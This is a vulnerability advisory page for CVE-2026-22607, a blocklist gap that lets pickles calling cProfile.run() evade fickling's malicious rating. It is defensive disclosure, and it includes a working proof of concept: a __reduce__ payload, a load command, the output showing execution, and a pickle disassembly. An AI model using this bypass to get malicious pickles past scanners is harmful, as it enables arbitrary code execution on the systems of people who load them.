CVE-2026-22607 — Vulnerability in fickling — CVE Details
HIGH
Fickling Blocklist Bypass: cProfile.run()
Published January 9, 2026Updated July 7, 2026Source: osv
Summary
# Fickling's assessment
`cProfile` was added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/dc8ae12966edee27a78fe05c5745171a2b138d43).
# Original report
## Description
### Summary
Fickling versions up to and including 0.1.6 do not treat Python's `cProfile` module as unsafe. Because of this, a malicious pickle that uses `cProfile.run()` is classified as SUSPICIOUS instead of OVERTLY_MALICIOUS.
If a user relies on Fickling's output to decide whether a pickle is safe to deserialize, this misclassification can lead them to execute attacker-controlled code on their system.
This affects any workflow or product that uses Fickling as a security gate for pickle deserialization.
### Details
The `cProfile` module is missing from fickling's block list of unsafe module imports in `fickling/analysis.py`. This is the same root cause as CVE-2025-67748 (pty) and CVE-2025-67747 (marshal/types).
Incriminated source code:
- File: `fickling/analysis.py`
- Class: `UnsafeImports`
- Issue: The blocklist does not include `cProfile`, `cProfile.run`, or `cProfile.runctx`
Reference to similar fix:
- PR #187 added `pty` to the blocklist to fix CVE-2025-67748
- PR #108 documented the blocklist approach
- The same fix pattern should be applied for `cProfile`
How the bypass works:
1. Attacker creates a pickle using `cProfile.run()` in `__reduce__`
2. `cProfile.run()` accepts a Python code string and executes it directly (C-accelerated version of profile.run)
3. Fickling's `UnsafeImports` analysis does not flag `cProfile` as dangerous
4. Only the `UnusedVariables` heuristic triggers, resulting in SUSPICIOUS severity
5. The pickle should be rated OVERTLY_MALICIOUS like `os.system`, `eval`, and `exec`
Tested behavior (fickling 0.1.6):
| Function | Fickling Severity | RCE Capable |
|----------|-------------------|-------------|
| os.system | LIKELY_OVERTLY_MALICIOUS | Yes |
| eval | OVERTLY_MALICIOUS | Yes |
| exec | OVERTLY_MALICIOUS | Yes |
| cProfile.run | SUSPICIOUS | Yes ← BYPASS |
| cProfile.runctx | SUSPICIOUS | Yes ← BYPASS |
Suggested fix:
Add to the unsafe imports blocklist in `fickling/analysis.py`:
- `cProfile`
- `cProfile.run`
- `cProfile.runctx`
- `_lsprof` (underlying C module)
## PoC
Complete instructions, including specific configuration details, to reproduce the vulnerability.
Environment:
- Python 3.13.2
- fickling 0.1.6 (latest version, installed via pip)
### Step 1: Create malicious pickle
```python
import pickle
import cProfile
class MaliciousPayload:
def __reduce__(self):
return (cProfile.run, ("print('CPROFILE_RCE_CONFIRMED')",))
with open("malicious.pkl", "wb") as f:
pickle.dump(MaliciousPayload(), f)
```
### Step 2: Analyze with fickling
```python
from fickling.fickle import Pickled
from fickling.analysis import check_safety
with open('malicious.pkl', 'rb') as f:
data = f.read()
pickled = Pickled.load(data)
result = check_safety(pickled)
print(f"Severity: {result.severity}")
print(f"Analysis: {result}")
```
Expected output (if properly detected):
```
Severity: Severity.OVERTLY_MALICIOUS
```
Actual output (bypass confirmed):
```
Severity: Severity.SUSPICIOUS
Analysis: Variable `_var0` is assigned value `run(...)` but unused afterward; this is suspicious and indicative of a malicious pickle file
```
### Step 3: Prove RCE by loading the pickle
```bash
python -c "import pickle; pickle.load(open('malicious.pkl', 'rb'))"
```
Output
```
CPROFILE_RCE_CONFIRMED
4 function calls in 0.000 seconds
Ordered by: standard name
ncalls tottime percall cumtime percall filename:lineno(function)
1 0.000 0.000 0.000 0.000 <string>:1(<module>)
1 0.000 0.000 0.000 0.000 {built-in method builtins.exec}
1 0.000 0.000 0.000 0.000 {built-in method builtins.print}
1 0.000 0.000 0.000 0.000 {method 'disable' of '_lsprof.Profiler' objects}
```
Check: The code executes, proving RCE.
### Pickle disassembly (evidence):
```
0: \x80 PROTO 5
2: \x95 FRAME 58
11: \x8c SHORT_BINUNICODE 'cProfile'
21: \x94 MEMOIZE (as 0)
22: \x8c SHORT_BINUNICODE 'run'
27: \x94 MEMOIZE (as 1)
28: \x93 STACK_GLOBAL
29: \x94 MEMOIZE (as 2)
30: \x8c SHORT_BINUNICODE "print('CPROFILE_RCE_CONFIRMED')"
63: \x94 MEMOIZE (as 3)
64: \x85 TUPLE1
65: \x94 MEMOIZE (as 4)
66: R REDUCE
67: \x94 MEMOIZE (as 5)
68: . STOP
highest protocol among opcodes = 4
```
## Impact
Vulnerability Type:
Incomplete blocklist leading to safety check bypass (CWE-184) and arbitrary code execution via insecure deserialization (CWE-502).
Who is impacted:
Any user or system that relies on fickling to vet pickle files for security issues before loading them. This includes:
- ML model validation pipelines
- Model hosting platforms (Hugging Face, MLflow, etc.)
- Security scanning tools that use fickling
- CI/CD pipelines that validate pickle artifacts
Attack scenario:
An attacker uploads a malicious ML model or pickle file to a model repository. The victim's pipeline uses fickling to scan uploads. Fickling rates the file as "SUSPICIOUS" (not "OVERTLY_MALICIOUS"), so the file is not rejected. When the victim loads the model, arbitrary code executes on their system.
Why cProfile.run() is dangerous:
Unlike `runpy.run_path()` which requires a file on disk, `cProfile.run()` takes a code string directly. This means the entire attack is self-contained in the pickle - no external files needed. Python docs explicitly state that `cProfile.run()` takes "a single argument that can be passed to the exec() function".
`cProfile` is the C-accelerated version and is more commonly available than `profile`. It's also the recommended profiler per Python docs ("cProfile is recommended for most users"), so it's present in virtually all Python installations.
Severity: HIGH
- The attacker achieves arbitrary code execution
- The security control (fickling) is specifically designed to prevent this
- The bypass requires no special conditions beyond crafting the pickle with cProfile
- Attack is fully self-contained (no external files needed)
- cProfile is more commonly used than profile, increasing attack surface
Advisory Timeline
First published January 9, 2026 (276 days ago).
Last revised July 7, 2026 — 179 days after initial publication.
Remediation
Upgrade to the fixed version using your package manager.
pip
Update fickling to 0.1.7 or later
pip install "fickling>=0.1.7"
After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.
Fickling Blocklist Bypass: cProfile.run() This vulnerability has been assigned a severity rating of HIGH (CVSS score: 9.8/10).
How do I check if my project is affected by CVE-2026-22607?
CVE-2026-22607 affects fickling. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-22607 and 200,000+ other known vulnerabilities.
Severity & Exploitability
CVSS Score
9.8
Exploitation is straightforward and causes maximum impact. Patch immediately.